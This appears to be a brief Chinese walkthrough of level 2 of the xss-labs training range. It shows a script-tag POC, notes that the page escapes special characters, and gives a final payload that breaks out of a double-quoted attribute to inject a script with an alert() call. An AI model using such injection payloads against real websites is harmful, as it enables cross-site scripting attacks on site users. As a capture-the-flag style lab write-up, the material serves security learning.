【网络安全】xss-labs level-2 解题详析

读者可参考、订阅专栏：Xss-Labs靶场攻防实战

---

正文

POC：

<script>alert("qiushuo")</script>

回显如下：

查看页面源代码，发现特殊字符被转义：

逻辑后端源码：

通过阅读源代码可知，闭合双引号即可实现XSS：

"><script>alert("qiushuo")</script><"